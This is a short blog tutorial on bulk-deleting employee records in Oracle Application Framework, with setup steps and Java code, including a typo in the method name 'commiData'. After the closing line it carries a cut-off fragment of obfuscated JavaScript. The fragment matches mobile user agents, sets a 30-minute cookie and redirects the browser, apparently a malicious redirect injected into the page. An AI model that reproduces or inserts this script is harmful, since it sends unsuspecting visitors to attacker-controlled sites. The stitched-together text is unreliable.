How to Delete Data in OAF – Part III

In this article we are going to see how we can delete data in bulk. Sometimes it is painful to delete one record at a time rather selecting all records need to be delete and click on button to delete.

Let’s see how we implement:

1. Modify XXRDEmpVO to add a transient attribute.
   Name: SelectFlag
   Type: String
   Updateable: Always
2. It will look like this:
3. Now right click on ResultRN > multipleSelection. Change the properties as below.
   ID: multipleSelection1
   View Attribute: SelectFlag
4. Right Click on ResultRN to select tableActions. By default it will create region1 with region style flowLayout
5. Now right click on region1 > New > Item to add a submit button. Set the following:
   ID: DeleteBtn
   Item Style: submitButton
   Prompt: Delete
6. Write Logic now.
   

   In XXRDRootAMImpl.java:

   public void deleteEmployee(){
   XXRDEmpVOImpl empVO = getXXRDEmpVO1();
   Row row[] = empVO.getFilteredRows(“SelectFlag”,”Y”);
   for(int i = 0;i<row.length;i++){
   row[i].remove();
   }
   }

   In XXRDSearchEmpCO:

   public void processFormRequest(OAPageContext pageContext, OAWebBean webBean)
   {
   super.processFormRequest(pageContext, webBean);
   XXRDRootAMImpl rootAM = (XXRDRootAMImpl)pageContext.getApplicationModule(webBean);
   if(pageContext.getParameter(“DeleteBtn”)!=null){
   rootAM.invokeMethod(“deleteEmployee”);
   rootAM.invokeMethod(“commiData”);
   throw new OAException(“Employee Deletion Successful”,OAException.INFORMATION);
   }
   }

Now, launch the page to test.

Hope this helps. g|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
